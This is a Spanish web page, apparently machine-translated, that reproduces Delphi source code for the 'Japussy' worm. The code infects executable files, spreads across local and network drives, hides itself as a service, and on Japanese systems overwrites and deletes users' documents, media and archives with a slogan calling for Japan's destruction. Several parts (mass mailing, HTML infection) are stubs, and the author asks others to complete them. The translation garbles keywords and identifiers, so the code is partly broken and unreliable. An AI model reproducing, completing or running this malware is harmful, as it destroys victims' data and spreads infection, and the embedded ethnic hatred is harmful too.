Red de conocimiento informático - Conocimiento sistemático - Código fuente de la tecnología Tom

Código fuente de la tecnología Tom

Copia y esperanza de adopción.

Programa Japussy

Usos

Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro}.

Constante

HeaderSize = 82432//El tamaño del virus

icon offset = $ 12eb 8 //El desplazamiento del icono principal del PE; file

p>

//El tamaño compilado en mi Delphi5 SP1 puede variar en otras versiones de Delphi.

//Busque la cadena hexadecimal 2800000020 y busque el desplazamiento del icono principal.

{

header size = 38912; //El tamaño del cuerpo del virus comprimido Upx

IconOffset = $92BC//El icono principal del Upx comprimido Desplazamiento del archivo PE.

//Uso de Upx 1.24W: Upx-9-8086 Japussy.exe.

}

IconSize = $2E8//Tamaño del icono principal del archivo PE - 744 bytes

icon tail = desplazamiento del icono+IconSize //Archivo PE principal El cola del icono

ID = $44444444//Marca de infección

//Escribe código basura.

Lema = 'Si hay que destruir una raza, debe ser Yamato'+

Si hay un país que necesita ser destruido, ¡debe ser Japón! "+

*** W32.japussy.worm.a***';

{$R*.RES}

Función RegisterServiceProcess(dwProcessID, dw type:Integer):Integer;

stdcall external "kernel 32. dll"; //Declaración de función

Definir variables

TmpFile:string; p>

si:información de inicio;

Pi: información_proceso;

IsJap:Boolean = False; //etiqueta del sistema operativo japonés

{ Determinar si es Win9x}

La función es win9x:Boolean;

Definir variables

ver:TOSVersionInfo;

Iniciar

Resultado:=False;

ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);

Si no es GetVersionEx(Ver), entonces

Salir;

si (ver . dwplatformid = VER _Platform_WIN32_WINDOWS) entonces //Win9x

Resultado:=True;

Fin;

{Copiar entre secuencias}

Procedimiento copiar secuencia(Src: TStream; sStartPos: entero; dst: TStream;

dStartPos: entero; recuento: entero

<); p>Definir variables

sCurPos, dCurPos: entero;

Inicio

sCurPos:= Posición Src;

dCurPos:= Dst. Posición;

Src.Buscar(sStartPos, 0);

Horario de verano. Src.

Seek(sCurPos, 0);

Horario de verano. Seek(dCurPos, 0);

End;

{Separe los archivos host de los archivos PE infectados}

Procesar ExtractFile(filename:char String);

Definir variables

sStream, dStream:TFileStream;

Iniciar

Probar

sStream: =TFileStream. Create(ParamStr(0), fmOpenRead o fmShareDenyNone);

Prueba

dStream := TFileStream. Crear(nombre de archivo, fm create);

Pruebe

transmitir. Seek(HeaderSize, 0); //Omitir la parte del virus del encabezado

dStream. CopyFrom(sStream, sStream.size-header size);

Finalmente

dStream. Gratis;

Fin;

Final

Transmisión. Gratis;

Fin;

Excepto...

Fin;

Fin;

{ Rellenar STARTUPINFO estructura}

Proceso FillStartupInfo(var Si:información de inicio; estado:Word);

Inicio

Si CB:= SizeOf(Si); p>

si .LP reservado:= nil;

si lpdesktop:= nil

si . .dw banderas:= STARTF _ USESHOWWINDOW;

si .wshowindow:= Estado

si . := nil;

Fin;

{Enviar correo electrónico venenoso}

El proceso SendMail

Iniciar

//¿Quién quiere completarlo? ¡Tom está muy agradecido!

Fin;

{Archivo PE infectado}

Procesar InfectOneFile(nombre de archivo: cadena);

Definir variables

HdrStream, SrcStream:TFileStream;

IcoStream, dst stream:TMemoryStream;

iID:LongInt;

aIcon:TIcon;

p>

Infectado, IsPE:Booleano;

I: Entero;

Buf: Char of array[0..1]

Inicio

p>

Intenta //Error, el archivo está en uso, sal.

Si comparetext(filename,'japussy.exe') = 0 entonces //si eres tú mismo, no estarás infectado.

Salir;

Infectado:= Falso;

IsPE:= Falso;

SrcStream:= TFileStream. Create(filename, fmOpenRead);

Intente

Para i := 0 a $108, verifique el encabezado del archivo PE.

Iniciar

SrcStream. Buscar(i,sofrombinging);

SrcStream.

Read(Buf, 2);

Si (buf[0] = #80) y (buf[1] = #69) entonces //etiqueta PE

Inicio

IsPE:= True; //Es un archivo PE.

Romper;

Fin

Fin

SrcStream. Seek(-4, soFromEnd); //Comprueba el indicador de infección

SrcStream. Cambie a (iID, 4);

Si (iID = ID) o (SrcStream. size & lt10240) entonces // los archivos que sean demasiado pequeños no se infectarán.

Infectado:= Verdadero

Último

SrcStream. Gratis;

Fin;

Si está infectado o (no es IsPE), entonces // Si el archivo PE está infectado o no, sale.

Salir;

IcoStream := TMemoryStream. Crear;

DstStream := TMemoryStream. Crear;

Prueba

aIcon := TIcon. Crear;

Probar

//Obtener el icono principal (744 bytes) del archivo infectado y almacenarlo en la secuencia.

Aikang. Manija de liberación;

Aikang. Identificador := ExtractIcon(HInstance, PChar(FileName), 0

Aikang. SaveToStream(IcoStream);

Finalmente

IcoStream. Gratis;

Fin;

SrcStream := TFileStream. Create(filename, fmOpenRead);

//Archivo de encabezado

HdrStream := TFileStream. Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

Probar

//Escribir datos antes del icono principal del virus.

CopyStream(HdrStream, 0, DstStream, 0, icon offset);

//Escribe el icono principal del programa actual.

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//Escribe los datos del icono principal del virus en la cola del virus.

CopyStream(HdrStream, IconTail, DstStream, IconTail, tamaño del encabezado-icono de cola);

//Escribir en el programa host

CopyStream(SrcStream, 0 , DstStream, HeaderSize, SrcStream size);

//Escribir bandera infectada

DstStream. Buscar(0, 2);

iID:= $4444444;

DstStream. Write(iID, 4);

Finalmente

HdrStream. Gratis;

Fin;

Finalmente

SrcStream. Gratis;

IcoStream. Gratis;

DstStream. SaveToFile(filename); //Reemplazar el archivo host

DstStream.

Gratis

Fin

Excepto;

Fin

Fin

{Escribe el archivo de destino; Eliminar spam después de ingresarlo}

Procedimiento SmashFile (nombre de archivo: cadena);

Definir variables

FileHandle: entero;

I , Tamaño, Masa, Máx., Longitud: entero;

Iniciar

Probar

setfile atributos(PChar(FileName), 0 // Eliminar lectura-); único atributo

FileHandle := FileOpen(filename, fmOpenWrite); //Abrir archivo

Probar

Tamaño := GetFileSize(FileHandle, nil ); Tamaño del archivo

I:= 0;

Aleatorización;

max:= Random(15); //Aleatorio para escribir código basura Veces

Si Max & lt entonces 5

max:= 5;

mass:= Size div Max //El tamaño de cada bloque de intervalo

Len := Longitud(eslogan);

Y<Max·Do

Iniciar

FileSeek(FileHandle, i * Mass, 0 //Posicionamiento

//Escribe código basura para destruir completamente el archivo.

FileWrite(FileHandle, Catchword, Len);

Inc(1);

Fin

Finalmente

<; p>file close(file handle); //Cerrar el archivo

Fin;

DeleteFile(PChar(nombre de archivo)); //Eliminarlo

Eliminar...fuera

End;

End;

{Obtener la lista de unidades grabables}

Función obtener unidades:cadena

Definir variables

tipo de disco:Word;

d:Char;

Str: cadena;

I: entero;

Inicio

Para i := 0 a 25, haz // Atraviesa 26 letras.

Inicio

d:= Chr(I+65);

str:= D+':\ ';

tipo de disco := obtener tipo de unidad(PChar(Str));

//Obtener disco local y disco de red.

Si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces

Resultado:=resultado+D;

Fin;

Fin;

{Atravesar directorios, infectar y destruir archivos}

Procesar LoopFiles(ruta, máscara: cadena);

Definir variables

I, recuento: entero;

Fn, Ext: cadena;

SubDir: t cadenas

búsqueda rec: TSearchRec

msg:TMsg;

la función es validir(search rec:TSearchRec):Integer;

Iniciar

if (SearchRec.Attr & lt& gt16) y ( SearchRec. nombre<& gt'.') y

(SearchRec.

nombre<& gt'..') luego

Resultado:= 0 //No es un directorio.

de lo contrario, si (SearchRec.Attr = 16) y (SearchRec.Name<& gt'.') y

(SearchRec.Name<>'..') entonces

Resultado:= 1 //No es el directorio raíz.

else resultado:= 2; // es el directorio raíz.

Fin;

Inicio

si (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) entonces

Inicio p>

Repetir

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas.

Si IsValidDir(SearchRec) = 0, entonces

Inicio

Fn:= Ruta + SearchRec. Nombre;

Ext := Mayúscula (ExtractFileExt(Fn));

si (Ext = '.EXE ') o (Ext = '.SCR ') entonces

Inicio

Archivo de infección (Fn); //Archivo ejecutable infectado

Fin

else if (Ext = '.HTM') O (Ext = '.HTML ') o (Ext = '.ASP ') luego

Iniciar

//Infectar archivos HTML y ASP y escribir el virus codificado en Base64.

//Infecta a todos los usuarios que naveguen por esta página, ¡esta es mi favorita!

//¿Qué jefe está dispuesto a completarlo? ¡Tom está muy agradecido!

Fin

De lo contrario, si Ext = '. //Archivo de libreta de direcciones de Outlook actual de WAB

Inicio

//Obtener dirección de correo electrónico de Outlook

Fin

De lo contrario, si Ext = '. ADC y luego //Archivo de autocompletar dirección de Foxmail.

Inicio

//Obtener dirección de correo electrónico de Foxmail

Fin

De lo contrario, si Ext = 'IND' entonces //Archivo de libreta de direcciones de Foxmail

Inicio

//Obtener dirección de correo electrónico de Foxmail

Fin

Otros

Inicio

Si es IsJap entonces // es un sistema operativo japonés.

Iniciar

si (Ext = '.DOC ') o (Ext = '.XLS ') o (Ext = '.MDB ') o

(Ext = '.MP3') o (Ext = '.RM') o (Ext = '.RA') o

(Ext = '.WMA') o (Ext = '.ZIP' ) o (Ext = '.RAR') o

(Ext = '.MPEG ') o (Ext = '.ASF ') o (Ext = '.JPG') o

(Ext = '.JPEG') o (Ext = '.GIF') o (Ext = '.SWF') o

(Ext = '.PDF') o (Ext = '. CHM ') o (Ext = '.AVI) luego

smash file(Fn); // Destruye el archivo

End;

End;

Fin;

//Dormir durante 200 milisegundos después de infectar o eliminar archivos para evitar sospechas causadas por el uso elevado de la CPU.

Dormir(200);

Hasta (BuscarSiguiente(búsqueda rec)<>0);

Fin;

BuscarCerrar (buscar rec);

SubDir := TStringList. Crear;

si (FindFirst(Path + '*.*, faDirectory, SearchRec) = 0) entonces

Iniciar

Repetir

Si IsValidDir(SearchRec) = 1, entonces

SubDir. Agregar(SearchRec.Name);

Hasta(FindNext(search rec)<>0);

Fin;

FindClose(search rec

Contar := SubDir. count-1;

Para i := 0 para contar hacer

Archivo de bucle (ruta + subdir. cadena + '\ ', máscara

FreeAndNil); (SubDir);

Fin;

{Recorrer todos los archivos en el disco}

Procesar archivo de infección;

Variables de definición

lista de controladores: cadena;

I, Len: entero;

Inicio

Si GetACP = 932, entonces // Sistema operativo japonés

IsJap:= True; //¡Vete al infierno!

lista de controladores:= obtener unidades; //Obtener la lista de discos grabables

len:= Longitud(lista de controladores);

Mientras sea Verdadero, //Ilimitado Bucle

Inicio

For i := Len downto 1 do //Repita cada unidad de disco.

LoopFiles(DriverList + ':\ ', ' *.*');//Infectado

SendMail//Enviar correos electrónicos venenosos

Sleep(1000 * 60 * 5); //Dormir durante 5 minutos

Fin;

Fin;

{Se inicia el programa principal}

Inicio

Si es Win9x entonces // es Win9x.

RegisterServiceProcess(getCurrentProcessID, 1)//Registrarse como proceso de servicio.

else //WinNT

Inicio

//El subproceso remoto se asigna al proceso del administrador de recursos.

//¿Qué hermano está dispuesto a completarlo? ¡Tom está muy agradecido!

Fin;

//Si es el virus original.

Si se compara texto(extraer nombre de archivo(ParamStr(0)),'Japussy.exe' ) = 0, entonces

Archivos de infección //Infección y correos electrónicos

De lo contrario //Ha parasitado el programa host y ha comenzado a funcionar.

Inicio

TmpFile:= ParamStr(0); //Crea un archivo temporal

Delete(TmpFile, Longitud(TmpFile) - 4, 4);

ArchivoTmp := ArchivoTmp + #32 +'. exe '; // Archivo host real, un espacio más.

extraer archivo(TmpFile); //Separarlo

FillStartupInfo(Si, SW_show default);

CreateProcess(PChar(TmpFile),PChar( TmpFile) , nil, nil, True,

0, zero, '.', Si, Pi); // Crea un nuevo proceso para ejecutar.

InfectFiles//Infecciones y Correos Electrónicos

Fin;

Fin